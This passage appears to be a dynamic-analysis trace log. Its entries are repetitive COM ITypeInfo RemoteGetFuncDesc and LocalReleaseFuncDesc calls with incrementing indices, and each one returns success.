ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6e, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6f, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x70, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x71, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x72, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x73, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x74, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x75, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x76, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x77, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x78, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x79, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7a, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7b, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7c, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7d, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7e, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7f, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x80, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x81, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x82, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x83, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x84, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.881] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.881] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x85, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.881] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.881] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x86, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.881] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.881] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x87, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.881] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.881] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x88, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.881] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x89, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8a, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8b, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8c, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8d, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8e, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8f, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x90, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x91, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x92, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x93, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x94, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x95, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x96, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x97, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x98, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x99, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9a, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9b, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9c, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9d, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9e, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9f, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa0, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa1, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa2, ppFuncDesc=0x266b48, pDummy=0x460 | out: ppFuncDesc=0x266b48, pDummy=0x460) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa3, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.882] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa4, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.882] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa5, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa6, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa7, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa8, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa9, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaa, ppFuncDesc=0x266b48, pDummy=0x460 | out: ppFuncDesc=0x266b48, pDummy=0x460) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xab, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xac, ppFuncDesc=0x266b48, pDummy=0x460 | out: ppFuncDesc=0x266b48, pDummy=0x460) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xad, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xae, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaf, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb0, ppFuncDesc=0x266b48, pDummy=0x460 | out: ppFuncDesc=0x266b48, pDummy=0x460) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb1, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb2, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb3, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb4, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb5, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb6, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb7, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb8, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb9, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xba, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbb, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbc, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbd, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbe, ppFuncDesc=0x266b48, pDummy=0x460 | out: ppFuncDesc=0x266b48, pDummy=0x460) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.883] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbf, ppFuncDesc=0x266b48, pDummy=0x460 | out: ppFuncDesc=0x266b48, pDummy=0x460) returned 0x0 [0036.883] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc0, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc1, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc2, ppFuncDesc=0x266b48, pDummy=0x460 | out: ppFuncDesc=0x266b48, pDummy=0x460) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc3, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc4, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc5, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc6, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc7, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc8, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc9, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xca, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcb, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcc, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcd, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xce, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcf, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd0, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd1, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd2, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd3, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] 